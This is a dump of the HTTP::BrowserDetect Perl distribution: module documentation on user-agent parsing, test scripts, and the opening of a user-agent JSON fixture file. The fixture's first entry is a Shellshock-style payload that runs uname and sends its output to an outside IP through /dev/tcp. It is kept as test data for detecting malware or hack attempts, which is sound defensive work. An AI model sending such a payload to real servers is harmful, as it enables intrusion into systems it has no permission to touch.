'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'; my $ua = HTTP::BrowserDetect->new($user_agent_string); # Print general information print "Browser: $ua->browser_string\n" if $ua->browser_string; print "Version: $ua->browser_version$ua->browser_beta\n" if $ua->browser_version; print "OS: $ua->os_string\n" if $ua->os_string; # Detect operating system if ( $ua->windows ) { if ( $ua->winnt ) { # do something } if ( $ua->win95 ) { # do something } } print "Mac\n" if $ua->macosx; # Detect browser vendor and version print "Safari\n" if $ua->safari; print "MSIE\n" if $ua->ie; print "Mobile\n" if $ua->mobile; if ( $ua->browser_major(4) ) { if ( $ua->browser_minor() > .5 ) { # ...; } } if ( $ua->browser_version() > 4.5 ) { # ...; } =head1 DESCRIPTION The HTTP::BrowserDetect object does a number of tests on an HTTP user agent string. The results of these tests are available via methods of the object. For an online demonstration of this module's parsing, you can check out L This module was originally based upon the JavaScript browser detection code available at L. =head1 CONSTRUCTOR AND STARTUP =head2 new() HTTP::BrowserDetect->new( $user_agent_string ) The constructor may be called with a user agent string specified. Otherwise, it will use the value specified by $ENV{'HTTP_USER_AGENT'}, which is set by the web server when calling a CGI script. =head1 SUBROUTINES/METHODS =head1 Browser Information =head2 browser() Returns the browser, as one of the following values: chrome, firefox, ie, opera, safari, adm, applecoremedia, blackberry, brave, browsex, dalvik, elinks, links, lynx, emacs, epiphany, galeon, konqueror, icab, lotusnotes, mosaic, mozilla, netfront, netscape, n3ds, dsi, obigo, polaris, pubsub, realplayer, seamonkey, silk, staroffice, ucbrowser, webtv If the browser could not be identified (either because unrecognized or because it is a robot), returns C. =head2 browser_string() Returns a human formatted version of the browser name. These names are subject to change and are meant for display purposes. This may include information additional to what's in browser() (e.g. distinguishing Firefox from Iceweasel). If the user agent could not be identified, or if it was identified as a robot instead, returns C. =head1 Browser Version Please note that that the version(), major() and minor() methods have been deprecated as of release 1.78 of this module. They should be replaced with browser_version(), browser_major(), browser_minor(), and browser_beta(). The reasoning behind this is that version() method will, in the case of Safari, return the Safari/XXX numbers even when Version/XXX numbers are present in the UserAgent string (i.e. it will return incorrect versions for Safari in some cases). =head2 browser_version() Returns the browser version (major and minor) as a string. For example, for Chrome 36.0.1985.67, this returns "36.0". =head2 browser_major() Returns the major part of the version as a string. For example, for Chrome 36.0.1985.67, this returns "36". Returns undef if no version information can be detected. =head2 browser_minor() Returns the minor part of the version as a string. This includes the decimal point; for example, for Chrome 36.0.1985.67, this returns ".0". Returns undef if no version information can be detected. =head2 browser_beta() Returns any part of the version after the major and minor version, as a string. For example, for Chrome 36.0.1985.67, this returns ".1985.67". The beta part of the string can contain any type of alphanumeric characters. Returns undef if no version information can be detected. Returns an empty string if version information is detected but it contains only a major and minor version with nothing following. =head1 Operating System =head2 os() Returns one of the following strings, or C: windows, winphone, mac, macosx, linux, android, ios, os2, unix, vms, chromeos, firefoxos, ps3, psp, rimtabletos, blackberry, amiga, brew =head2 os_string() Returns a human formatted version of the OS name. These names are subject to change and are really meant for display purposes. This may include information additional to what's in os() (e.g. distinguishing various editions of Windows from one another) (although for a way to do that that's more suitable for use in program logic, see below under "OS related properties"). Returns C if no OS information could be detected. =head2 os_version(), os_major(), os_minor(), os_beta() Returns version information for the OS, if any could be detected. The format is the same as for the browser_version() functions. =head1 Mobile Devices =head2 mobile() Returns true if the browser appears to belong to a mobile phone or similar device (i.e. one small enough that the mobile version of a page is probably preferable over the desktop version). In previous versions, tablet devices sometimes had mobile() return true. They are now mutually exclusive. =head2 tablet() Returns true if the browser appears to belong to a tablet device. =head2 device() Returns the type of mobile / tablet hardware, if it can be detected. Currently returns one of: android, audrey, avantgo, blackberry, dsi, iopener, ipad, iphone, ipod, kindle, n3ds, palm, ps3, psp, wap, webos, winphone. Returns C if this is not a tablet/mobile device or no hardware information can be detected. =head2 device_string() Returns a human formatted version of the hardware device name. These names are subject to change and are really meant for display purposes. You should use the device() method in your logic. This may include additional information (such as the model of phone if it is detectable). Returns C if this is not a portable device or if no device name can be detected. =head1 Robots =head2 robot() If the user agent appears to be a robot, spider, crawler, or other automated Web client, this returns one of the following values: lwp, slurp, yahoo, bingbot, msnmobile, msn, msoffice, ahrefs, altavista, apache, askjeeves, baidu, curl, facebook, getright, googleadsbot, googleadsense, googlebotimage, googlebotnews, googlebotvideo, googlefavicon, googlemobile, google, golib, indy, infoseek, ipsagent, linkchecker, linkexchange, lycos, malware, mj12bot, nutch, phplib, puf, rubylib, scooter, specialarchiver, wget, yandexbot, yandeximages, java, unknown Returns "unknown" when the user agent is believed to be a robot but is not identified as one of the above specific robots. Returns C if the user agent is not a robot or cannot be identified. Note that if a robot crafts a user agent designed to impersonate a particular browser, we generally set properties appropriate to both the actual robot, and the browser it is impersonating. For example, googlebot-mobile pretends to be mobile safari so that it will get mobile versions of pages. In this case, browser() will return 'safari', the properties will generally be set as if for Mobile Safari, the 'robot' property will be set, and robot() will return 'googlemobile'. =head3 lib() Returns true if the user agent appears to be an HTTP library or tool (e.g. LWP, curl, wget, java). Generally libraries are also classified as robots, although it is impossible to tell whether they are being operated by an automated system or a human. =head3 robot_string() Returns a human formatted version of the robot name. These names are subject to change and are meant for display purposes. This may include additional information (e.g. robots which return "unknown" from robot() generally can be identified in a human-readable fashion by reading robot_string() ). =head3 robot_id() This method is currently in beta. Returns an id consisting of lower case letters, numbers and dashes. This id will remain constant, so you can use it for matching against a particular robot. The ids were introduced in version 3.14. There may still be a few corrections to ids in subsequent releases. Once this method becomes stable the ids will also be frozen. =head3 all_robot_ids() This method returns an c of all possible C values. =head2 robot_version(), robot_major(), robot_minor(), robot_beta() Returns version information for the robot, if any could be detected. The format is the same as for the browser_version() functions. Note that if a robot crafts a user agent designed to impersonate a particular browser, we generally return results appropriate to both the actual robot, and the browser it is impersonating. For example, googlebot-mobile pretends to be mobile safari so that it will get mobile versions of pages. In this case, robot_version() will return the version of googlebot-mobile, and browser_version() will return the version of Safari that googlebot-mobile is impersonating. =head1 Browser Properties Operating systems, devices, browser names, rendering engines, and true-or-false methods (e.g. "mobile" and "lib") are all browser properties. For example, calling browser_properties() for Mobile Safari running on an Android will return this list: ('android', 'device', 'mobile', 'mobile_safari', 'safari', 'webkit') =head2 browser_properties() Returns all properties for this user agent, as a list. Note that because a large number of cases must be considered, this will take significantly more time than simply querying the particular methods you care about. A mostly complete list of properties follows (i.e. each of these methods is both a method you can call, and also a property that may be in the list returned by browser_properties() ). In addition to this list, robot(), lib(), device(), mobile(), and tablet() are all browser properties. =head2 OS related properties The following methods are available, each returning a true or false value. Some methods also test for the operating system version. The indentations below show the hierarchy of tests (for example, win2k is considered a type of winnt, which is a type of win32) =head3 windows() win16 win3x win31 win32 winme win95 win98 winnt win2k winxp win2k3 winvista win7 win8 win8_0 win8_1 win10 win10_0 wince winphone winphone7 winphone7_5 winphone8 winphone10 =head3 dotnet() =head3 chromeos() =head3 firefoxos() =head3 mac() mac68k macppc macosx ios =head3 os2() =head3 bb10() =head3 rimtabletos() =head3 unix() sun sun4 sun5 suni86 irix irix5 irix6 hpux hpux9 hpux10 aix aix1 aix2 aix3 aix4 linux sco unixware mpras reliant dec sinix freebsd bsd =head3 vms() =head3 amiga() =head3 ps3gameos() =head3 pspgameos() It may not be possibile to detect Win98 in Netscape 4.x and earlier. On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all Win32, so you can't distinguish between Win95 and WinNT. =head2 Browser related properties The following methods are available, each returning a true or false value. Some methods also test for the browser version, saving you from checking the version separately. =head3 adm =head3 aol aol3 aol4 aol5 aol6 =head3 applecoremedia =head3 avantgo =head3 browsex =head3 chrome =head3 dalvik =head3 emacs =head3 epiphany =head3 firefox =head3 galeon =head3 icab =head3 ie ie3 ie4 ie4up ie5 ie5up ie55 ie55up ie6 ie7 ie8 ie9 ie10 ie11 =head3 ie_compat_mode The ie_compat_mode is used to determine if the IE user agent is for the compatibility mode view, in which case the real version of IE is higher than that detected. The true version of IE can be inferred from the version of Trident in the engine_version method. =head3 konqueror =head3 lotusnotes =head3 lynx links elinks =head3 mobile_safari =head3 mosaic =head3 mozilla =head3 neoplanet neoplanet2 =head3 netfront =head3 netscape nav2 nav3 nav4 nav4up nav45 nav45up navgold nav6 nav6up =head3 obigo =head3 opera opera3 opera4 opera5 opera6 opera7 =head3 polaris =head3 pubsub =head3 realplayer The realplayer method above tests for the presence of either the RealPlayer plug-in "(r1 " or the browser "RealPlayer". =head3 realplayer_browser The realplayer_browser method tests for the presence of the RealPlayer browser (but returns 0 for the plugin). =head3 safari =head3 seamonkey =head3 silk =head3 staroffice =head3 ucbrowser =head3 webtv Netscape 6, even though it's called six, in the User-Agent string has version number 5. The nav6 and nav6up methods correctly handle this quirk. The Firefox test correctly detects the older-named versions of the browser (Phoenix, Firebird). =head2 Device related properties The following methods are available, each returning a true or false value. =head3 android =head3 audrey =head3 avantgo =head3 blackberry =head3 dsi =head3 iopener =head3 iphone =head3 ipod =head3 ipad =head3 kindle =head3 kindlefire =head3 n3ds =head3 palm =head3 webos =head3 wap Note that 'wap' indicates that the device is capable of WAP, not necessarily that the device is limited to WAP only. Most modern WAP devices are also capable of rendering standard HTML. =head3 psp =head3 ps3 =head2 Robot properties These methods are now deprecated and will be removed in a future release. Please use the C and C methods to identify the bots. Use C if you need to match on a string, since the value that is returned by C could possibly change in a future release. The following additional methods are available, each returning a true or false value. This is by no means a complete list of robots that exist on the Web. =head3 ahrefs =head3 altavista =head3 apache =head3 askjeeves =head3 baidu =head3 bingbot =head3 curl =head3 facebook =head3 getright =head3 golib =head3 google =head3 googleadsbot =head3 googleadsense =head3 googlemobile =head3 indy =head3 infoseek =head3 ipsagent =head3 java =head3 linkexchange =head3 lwp =head3 lycos =head3 malware =head3 mj12bot =head3 msn =head3 msoffice =head3 puf =head3 rubylib =head3 slurp =head3 wget =head3 yahoo =head3 yandex =head3 yandeximages =head2 Engine properties The following properties indicate if a particular rendering engine is being used. =head3 webkit =head3 gecko =head3 trident =head3 presto =head3 khtml =head1 Other methods =head2 user_agent() Returns the value of the user agent string. Calling this method with a parameter to set the user agent has now been removed; please use HTTP::BrowserDetect->new() to pass the user agent string. =head2 country() Returns the country string as it may be found in the user agent string. This will be in the form of an upper case 2 character code. ie: US, DE, etc =head2 language() Returns the language string as it is found in the user agent string. This will be in the form of an upper case 2 character code. ie: EN, DE, etc =head2 engine() Returns the rendering engine, one of the following: gecko, webkit, khtml, trident, ie, presto, netfront Note that this returns "webkit" for webkit based browsers (including Chrome/Blink). This is a change from previous versions of this library, which returned "KHTML" for webkit. Returns C if none of the above rendering engines can be detected. =head2 engine_string() Returns a human formatted version of the rendering engine. Note that this returns "WebKit" for webkit based browsers (including Chrome/Blink). This is a change from previous versions of this library, which returned "KHTML" for webkit. Returns C if none of the known rendering engines can be detected. =head2 engine_version(), engine_major(), engine_minor(), engine_beta() Returns version information for the rendering engine, if any could be detected. The format is the same as for the browser_version() functions. =head1 Deprecated methods =head2 device_name() Deprecated alternate name for device_string() =head2 version() This is probably not what you want. Please use either browser_version() or engine_version() instead. Returns the version (major and minor) as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser_version() returns correct version numbers for Safari. =head2 major() This is probably not what you want. Please use either browser_major() or engine_major() instead. Returns the integer portion of the browser version as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser_version() returns correct version numbers for Safari. =head2 minor() This is probably not what you want. Please use either browser_minor() or engine_minor() instead. Returns the decimal portion of the browser version as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser_version() returns correct version numbers for Safari. =head2 beta() This is probably not what you want. Please use browser_beta() instead. Returns the beta version, consisting of any characters after the major and minor version number, as a string. This function returns wrong values for some Safari versions, for compatibility with earlier code. browser_version() returns correct version numbers for Safari. =head2 public_version(), public_major(), public_minor(), public_beta() Deprecated. Please use browser_version() and related functions instead. =head2 gecko_version() If a Gecko rendering engine is used (as in Mozilla or Firefox), returns the engine version. If no Gecko browser is being used, or the version number can't be detected, returns undef. This is an old function, preserved for compatibility; please use engine_version() in new code. =head1 CREDITS Lee Semel, lee@semel.net (Original Author) Peter Walsham (co-maintainer) Olaf Alders, C (co-maintainer) =head1 ACKNOWLEDGEMENTS Thanks to the following for their contributions: cho45 Leonardo Herrera Denis F. Latypoff merlynkline Simon Waters Toni Cebrin Florian Merges david.hilton.p Steve Purkis Andrew McGregor Robin Smidsrod Richard Noble Josh Ritter Mike Clarke Marc Sebastian Pelzer Alexey Surikov Maros Kollar Jay Rifkin Luke Saunders Jacob Rask Heiko Weber Jon Jensen Jesse Thompson Graham Barr Enrico Sorcinelli Olivier Bilodeau Yoshiki Kurihara Paul Findlay Uwe Voelker Douglas Christopher Wilson John Oatis Atsushi Kato Ronald J. Kimball Bill Rhodes Thom Blake Aran Deltac yeahoffline David Ihnen Hao Wu Perlover Daniel Stadie ben hengst Andrew Moise Atsushi Kato Marco Fontani Nicolas Doye =head1 TO DO POD coverage is not 100%. =head1 SEE ALSO "Browser ID (User-Agent) Strings", L L. =head1 =head1 SUPPORT You can find documentation for this module with the perldoc command. perldoc HTTP::BrowserDetect You can also look for information at: =over 4 =item * GitHub Source Repository L =item * Reporting Issues L =item * AnnoCPAN: Annotated CPAN documentation L =item * CPAN Ratings L =item * Search CPAN L =back =head1 BUGS AND LIMITATIONS The biggest limitation at this point is the test suite, which really needs to have many more UserAgent strings to test against. =head1 CONTRIBUTING Patches are certainly welcome, with many thanks for the excellent contributions which have already been received. The preferred method of patching would be to fork the GitHub repo and then send me a pull request, but plain old patch files are also welcome. If you're able to add test cases, this will speed up the time to release your changes. Just edit t/useragents.json so that the test coverage includes any changes you have made. Please contact me if you have any questions. This distribution uses L. If you're not familiar with this module, please see L for some helpful tips to get you started. =head1 AUTHORS =over 4 =item * Lee Semel =item * Peter Walsham =item * Olaf Alders (current maintainer) =back =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2017 by Lee Semel. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut HTTP-BrowserDetect-3.16/examples/ua.pl000644 000765 000024 00000000610 13214533442 017636 0ustar00olafstaff000000 000000 use strict; use warnings; use feature qw( say ); use HTTP::BrowserDetect (); my $ua = shift || die qq{Usage: perl $0 "my UA string"}; my $h = HTTP::BrowserDetect->new($ua); printf "robot: %s\n", $h->robot || q{ }; printf "robot name: %s\n", $h->robot_name || q{ }; printf "robot string %s\n", $h->robot_string || q{ }; printf "robot id: %s\n", $h->robot_id || q{ }; HTTP-BrowserDetect-3.16/xt/author/000755 000765 000024 00000000000 13214533442 017016 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/xt/release/000755 000765 000024 00000000000 13214533442 017134 5ustar00olafstaff000000 000000 HTTP-BrowserDetect-3.16/xt/release/cpan-changes.t000644 000765 000024 00000000344 13214533442 021651 0ustar00olafstaff000000 000000 use strict; use warnings; # this test was generated with Dist::Zilla::Plugin::Test::CPAN::Changes 0.012 use Test::More 0.96 tests => 1; use Test::CPAN::Changes; subtest 'changes_ok' => sub { changes_file_ok('Changes'); }; HTTP-BrowserDetect-3.16/xt/author/tidyall.t000644 000765 000024 00000000522 13214533442 020644 0ustar00olafstaff000000 000000 # This file was automatically generated by Dist::Zilla::Plugin::Test::TidyAll v$VERSION use Test::More 0.88; use Test::Code::TidyAll 0.24; tidyall_ok( verbose => ( exists $ENV{TEST_TIDYALL_VERBOSE} ? $ENV{TEST_TIDYALL_VERBOSE} : 0 ), jobs => ( exists $ENV{TEST_TIDYALL_JOBS} ? $ENV{TEST_TIDYALL_JOBS} : 1 ), ); done_testing; HTTP-BrowserDetect-3.16/xt/author/synopsis.t000644 000765 000024 00000000060 13214533442 021066 0ustar00olafstaff000000 000000 #!perl use Test::Synopsis; all_synopsis_ok(); HTTP-BrowserDetect-3.16/t/04-random-order.t000644 000765 000024 00000004636 13214533442 020334 0ustar00olafstaff000000 000000 #!/usr/bin/perl use strict; use warnings; use Test::Most; use Test::FailWarnings; use FindBin; use JSON::PP; use Path::Tiny qw( path ); # test that the module loads without errors my $w; { local $SIG{__WARN__} = sub { $w = shift }; require HTTP::BrowserDetect; } ok( !$w, 'no warnings on require' ); my $json = path("$FindBin::Bin/useragents.json")->slurp; my $tests = JSON::PP->new->ascii->decode($json); $json = path("$FindBin::Bin/more-useragents.json")->slurp; my $more_tests = JSON::PP->new->ascii->decode($json); $tests = { %$tests, %$more_tests }; srand(88); # Consistent seed for consistent results my $N_DETECTS = 5; my $N_TESTS = 30; my @detect; my @methods = ( qw( beta browser browser_properties browser_string country device device device_name device_string engine engine_beta engine_major engine_minor engine_string engine_version engine_major engine_minor gecko_version language major minor os os_beta os_major os_minor os_string os_version public_major public_minor public_version realplayer_browser robot_string version ), &HTTP::BrowserDetect::_all_tests() ); foreach my $ua ( sort ( keys %{$tests} ) ) { my %test_results; subtest $ua, sub { for my $i ( 0 .. $N_DETECTS - 1 ) { $detect[$i] = HTTP::BrowserDetect->new($ua); for my $j ( 1 .. $N_TESTS ) { my $method = $methods[ int( rand(@methods) ) ]; my $result = $detect[$i]->$method; if ( exists( $test_results{$method} ) ) { if ( !defined($result) ) { ok( !defined( $test_results{$method} ), $method ); } elsif ( ref($result) eq 'ARRAY' ) { is_deeply( $result, $test_results{$method}, $method ); } else { cmp_ok( $result, 'eq', $test_results{$method}, $method ); } } else { $test_results{$method} = $result; } } } }; } done_testing(); HTTP-BrowserDetect-3.16/t/perlcriticrc000644 000765 000024 00000000016 13214533442 017731 0ustar00olafstaff000000 000000 severity = 2 HTTP-BrowserDetect-3.16/t/99_blank_ua.t000644 000765 000024 00000000322 13214533442 017603 0ustar00olafstaff000000 000000 #!/usr/bin/env perl use strict; use warnings; use HTTP::BrowserDetect; use Test::More; use Test::FailWarnings; ok( my $ua = HTTP::BrowserDetect->new(undef), q{undef produces no warnings} ); done_testing(); HTTP-BrowserDetect-3.16/t/01-detect.t000755 000765 000024 00000007646 13214533442 017217 0ustar00olafstaff000000 000000 #!/usr/bin/perl use strict; use warnings; use Test::Most; use Test::FailWarnings; use FindBin; use JSON::PP (); use List::Util 1.49 qw(uniq); use Path::Tiny qw( path ); # test that the module loads without errors my $w; { local $SIG{__WARN__} = sub { $w = shift }; require HTTP::BrowserDetect; } ok( !$w, 'no warnings on require' ); my $json = path("$FindBin::Bin/useragents.json")->slurp; my $tests = JSON::PP->new->ascii->decode($json); $json = path("$FindBin::Bin/more-useragents.json")->slurp; my $more_tests = JSON::PP->new->ascii->decode($json); $tests = { %$tests, %$more_tests }; my @robot_tests = uniq map { $_->[1] } HTTP::BrowserDetect->_robot_tests; my %ids = map { $_ => 1 } HTTP::BrowserDetect->all_robot_ids; foreach my $ua ( sort ( keys %{$tests} ) ) { my $test = $tests->{$ua}; my $detected = HTTP::BrowserDetect->new($ua); subtest $ua => sub { foreach my $method ( 'browser', 'browser_beta', 'browser_string', 'device', 'device_beta', 'device_name', 'device_string', 'engine', 'engine_beta', 'engine_string', 'language', 'os', 'os_beta', 'os_string', 'robot', 'robot_beta', 'robot_name', 'robot_string', ) { if ( $test->{$method} ) { cmp_ok( $detected->$method || q{}, 'eq', $test->{$method}, "$method: $test->{$method}" ); } } foreach my $method ( qw( os_version os_major os_minor public_version public_major public_minor robot_version robot_major robot_minor version major minor engine_version engine_major engine_minor ios tablet ) ) { if ( exists $test->{$method} and defined $test->{$method} and length $test->{$method} ) { cmp_ok( $detected->$method, '==', $test->{$method}, "$method: $test->{$method}" ); } } foreach my $type ( @{ $test->{match} } ) { # New bots aren't getting added to methods next if List::Util::any { lc($type) eq lc($_) } @robot_tests, 'robot_id'; ok( $detected->can($type), "$type is a method" ); ok( $detected->can($type) && $detected->$type, "$type should match" ); } # for now, avoid having to add robot_id to a bunch of profiles eq_or_diff( [ sort grep { $_ !~ m{\Arobot_id\z} } $detected->browser_properties() ], [ sort grep { $_ !~ m{\Arobot_id\z} } @{ $test->{match} } ], "browser properties match" ); # Test that $ua doesn't match a specific method foreach my $type ( @{ $test->{no_match} } ) { ok( !$detected->$type, "$type shouldn't match (and doesn't)" ); } if ( $detected->robot ) { if ( $detected->robot_id ) { ok( $ids{ $detected->robot_id }, 'id exists in list: ' . $detected->robot_id ); } else { diag $detected->robot . ' has no id'; } } }; } my $detected = HTTP::BrowserDetect->new('Nonesuch'); subtest $detected->user_agent, sub { foreach my $method ( qw( engine_string engine_version engine_major engine_minor device device_name gecko_version ) ) { is_deeply( [ $detected->$method ], [undef], "$method should return undef in list context" ); } }; done_testing(); HTTP-BrowserDetect-3.16/t/05_robot.t000644 000765 000024 00000001710 13214533442 017141 0ustar00olafstaff000000 000000 use strict; use warnings; use HTTP::BrowserDetect (); use List::Util qw(); use Test::Most; my $detect = HTTP::BrowserDetect->new; my %names = $detect->_robot_names; my @ids = $detect->all_robot_ids; my %fixup = $detect->_robot_ids; is( scalar @ids, 72, 'correct number of ids' ); foreach my $id (@ids) { subtest $id => sub { ok( $names{$id}, 'name' ); unlike( $id, qr{[^0-9a-z-]}, 'id contains only lower case letters or dashes' ); }; } my @tests = $detect->_robot_tests; for my $test (@tests) { my $id = $test->[1]; subtest "$id check" => sub { unlike( $id, qr{[^0-9a-z-]}, "$id contains only lower case letters or dashes" ); ok( ( List::Util::any { $_ eq $id } @ids ), "$id found in all_robot_ids()" ); }; } for my $id ( values %fixup ) { ok( $names{$id}, "$id exists in names list" ); } done_testing(); HTTP-BrowserDetect-3.16/t/make-more-useragents.pl000644 000765 000024 00000006710 13214533442 021720 0ustar00olafstaff000000 000000 #!/usr/bin/perl -w # Script for making regression test patterns. # # Recommended use: # # $ perl -I../lib make-more-useragents.pl < /wherever/apache.log > more-useragents.json # # This will create a test suite based on any user agents that seem at # all dissimilar to ones we're already testing. The answers are given # by the same code that the test suite runs against, meaning the tests # will start out all passing. The main usefulness is: # # (a) You can make -I different, getting the answers according to a # different version of the code, and then run it against the current # version to see what's different. # # (b) You can manually inspect the more-useragents.json file and see # if there are any results in it that don't make sense. # # (c) Any changes in behavior in the future will cause a test failure. use strict; use FindBin; use JSON::PP; use Path::Tiny qw( path ); use HTTP::BrowserDetect; my $json_text = path("$FindBin::Bin/useragents.json")->slurp; my $tests = JSON::PP->new->ascii->decode($json_text); if (1) { $json_text = path("$FindBin::Bin/more-useragents.json")->slurp; my $more_tests = JSON::PP->new->ascii->decode($json_text); $tests = { %$tests, %$more_tests }; } my %seen_tokens; foreach my $ua ( sort keys %{$tests} ) { my @tokens = ( $ua =~ m{ (\w+) }g ); foreach (@tokens) { $seen_tokens{$_} = 1; } } my %new_tests; while (<>) { my $ua; my @tokens; if ( m{^\d+\.\d+\.\d+\.\d+} || m{^\w+\:\w*\:\w*\:} ) { # Apache log format, match tokens and get the user agent @tokens = ( $_ =~ m{ ( \" [^\"]* \" | [^\[\]\"\s]+ | \[ [^\[\]]* \] ) }xg ); ($ua) = ( $tokens[8] =~ m{\"(.*)\"} ) or next; $ua =~ s/^\'(.*)\'$/$1/; } else { # Just a list of user agents chomp; $ua = $_; } @tokens = ( $ua =~ m{ (\w+) }xg ); # Words within the user agent my $added = 0; foreach my $word (@tokens) { if ( !$seen_tokens{ lc $word } && !$added ) { my $test = { match => [], }; my $detect = HTTP::BrowserDetect->new($ua); foreach my $method ( qw( browser browser_string browser_major browser_minor browser_beta engine engine_string engine_major engine_minor engine_beta os os_string os_major os_minor os_beta country language device device_string robot robot_version robot_beta robot_string ) ) { my $result = $detect->$method; if ( defined($result) ) { $test->{$method} = $result; } } for my $prop ( 'device', @HTTP::BrowserDetect::ALL_TESTS ) { if ( $detect->$prop ) { push @{ $test->{match} }, $prop; } } $new_tests{$ua} = $test; $added = 1; } $seen_tokens{ lc $word } = 1; } } my $json = JSON::PP->new->canonical->pretty; my $output = $json->encode( \%new_tests ); print "$output\n"; HTTP-BrowserDetect-3.16/t/00-report-prereqs.t000644 000765 000024 00000013426 13214533442 020726 0ustar00olafstaff000000 000000 #!perl use strict; use warnings; # This test was generated by Dist::Zilla::Plugin::Test::ReportPrereqs 0.027 use Test::More tests => 1; use ExtUtils::MakeMaker; use File::Spec; # from $version::LAX my $lax_version_re = qr/(?: undef | (?: (?:[0-9]+) (?: \. | (?:\.[0-9]+) (?:_[0-9]+)? )? | (?:\.[0-9]+) (?:_[0-9]+)? ) | (?: v (?:[0-9]+) (?: (?:\.[0-9]+)+ (?:_[0-9]+)? )? | (?:[0-9]+)? (?:\.[0-9]+){2,} (?:_[0-9]+)? ) )/x; # hide optional CPAN::Meta modules from prereq scanner # and check if they are available my $cpan_meta = "CPAN::Meta"; my $cpan_meta_pre = "CPAN::Meta::Prereqs"; my $HAS_CPAN_META = eval "require $cpan_meta; $cpan_meta->VERSION('2.120900')" && eval "require $cpan_meta_pre"; ## no critic # Verify requirements? my $DO_VERIFY_PREREQS = 1; sub _max { my $max = shift; $max = ( $_ > $max ) ? $_ : $max for @_; return $max; } sub _merge_prereqs { my ($collector, $prereqs) = @_; # CPAN::Meta::Prereqs object if (ref $collector eq $cpan_meta_pre) { return $collector->with_merged_prereqs( CPAN::Meta::Prereqs->new( $prereqs ) ); } # Raw hashrefs for my $phase ( keys %$prereqs ) { for my $type ( keys %{ $prereqs->{$phase} } ) { for my $module ( keys %{ $prereqs->{$phase}{$type} } ) { $collector->{$phase}{$type}{$module} = $prereqs->{$phase}{$type}{$module}; } } } return $collector; } my @include = qw( ); my @exclude = qw( ); # Add static prereqs to the included modules list my $static_prereqs = do './t/00-report-prereqs.dd'; # Merge all prereqs (either with ::Prereqs or a hashref) my $full_prereqs = _merge_prereqs( ( $HAS_CPAN_META ? $cpan_meta_pre->new : {} ), $static_prereqs ); # Add dynamic prereqs to the included modules list (if we can) my ($source) = grep { -f } 'MYMETA.json', 'MYMETA.yml'; my $cpan_meta_error; if ( $source && $HAS_CPAN_META && (my $meta = eval { CPAN::Meta->load_file($source) } ) ) { $full_prereqs = _merge_prereqs($full_prereqs, $meta->prereqs); } else { $cpan_meta_error = $@; # capture error from CPAN::Meta->load_file($source) $source = 'static metadata'; } my @full_reports; my @dep_errors; my $req_hash = $HAS_CPAN_META ? $full_prereqs->as_string_hash : $full_prereqs; # Add static includes into a fake section for my $mod (@include) { $req_hash->{other}{modules}{$mod} = 0; } for my $phase ( qw(configure build test runtime develop other) ) { next unless $req_hash->{$phase}; next if ($phase eq 'develop' and not $ENV{AUTHOR_TESTING}); for my $type ( qw(requires recommends suggests conflicts modules) ) { next unless $req_hash->{$phase}{$type}; my $title = ucfirst($phase).' '.ucfirst($type); my @reports = [qw/Module Want Have/]; for my $mod ( sort keys %{ $req_hash->{$phase}{$type} } ) { next if $mod eq 'perl'; next if grep { $_ eq $mod } @exclude; my $file = $mod; $file =~ s{::}{/}g; $file .= ".pm"; my ($prefix) = grep { -e File::Spec->catfile($_, $file) } @INC; my $want = $req_hash->{$phase}{$type}{$mod}; $want = "undef" unless defined $want; $want = "any" if !$want && $want == 0; my $req_string = $want eq 'any' ? 'any version required' : "version '$want' required"; if ($prefix) { my $have = MM->parse_version( File::Spec->catfile($prefix, $file) ); $have = "undef" unless defined $have; push @reports, [$mod, $want, $have]; if ( $DO_VERIFY_PREREQS && $HAS_CPAN_META && $type eq 'requires' ) { if ( $have !~ /\A$lax_version_re\z/ ) { push @dep_errors, "$mod version '$have' cannot be parsed ($req_string)"; } elsif ( ! $full_prereqs->requirements_for( $phase, $type )->accepts_module( $mod => $have ) ) { push @dep_errors, "$mod version '$have' is not in required range '$want'"; } } } else { push @reports, [$mod, $want, "missing"]; if ( $DO_VERIFY_PREREQS && $type eq 'requires' ) { push @dep_errors, "$mod is not installed ($req_string)"; } } } if ( @reports ) { push @full_reports, "=== $title ===\n\n"; my $ml = _max( map { length $_->[0] } @reports ); my $wl = _max( map { length $_->[1] } @reports ); my $hl = _max( map { length $_->[2] } @reports ); if ($type eq 'modules') { splice @reports, 1, 0, ["-" x $ml, "", "-" x $hl]; push @full_reports, map { sprintf(" %*s %*s\n", -$ml, $_->[0], $hl, $_->[2]) } @reports; } else { splice @reports, 1, 0, ["-" x $ml, "-" x $wl, "-" x $hl]; push @full_reports, map { sprintf(" %*s %*s %*s\n", -$ml, $_->[0], $wl, $_->[1], $hl, $_->[2]) } @reports; } push @full_reports, "\n"; } } } if ( @full_reports ) { diag "\nVersions for all modules listed in $source (including optional ones):\n\n", @full_reports; } if ( $cpan_meta_error || @dep_errors ) { diag "\n*** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING ***\n"; } if ( $cpan_meta_error ) { my ($orig_source) = grep { -f } 'MYMETA.json', 'MYMETA.yml'; diag "\nCPAN::Meta->load_file('$orig_source') failed with: $cpan_meta_error\n"; } if ( @dep_errors ) { diag join("\n", "\nThe following REQUIRED prerequisites were not satisfied:\n", @dep_errors, "\n" ); } pass; # vim: ts=4 sts=4 sw=4 et: HTTP-BrowserDetect-3.16/t/03-language.t000644 000765 000024 00000000514 13214533442 017514 0ustar00olafstaff000000 000000 #!/usr/bin/env perl use strict; use warnings; use Test::More; use Test::NoWarnings (); use HTTP::BrowserDetect; my $browser = HTTP::BrowserDetect->new( "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"); ok( !$browser->language, "no language detected" ); Test::NoWarnings::had_no_warnings(); done_testing(); HTTP-BrowserDetect-3.16/t/useragents.json000644 000765 000024 00000562700 13214533442 020411 0ustar00olafstaff000000 000000 { "(){ :; }; /bin/uname -a > /dev/tcp/104.192.0.21/53" : { "browser_beta" : ".0.21/53", "browser_major" : "104", "browser_minor" : ".192", "match" : [ "robot", "robot_id", "malware" ], "robot" : "malware", "robot_name" : "Malware / hack attempt" }, 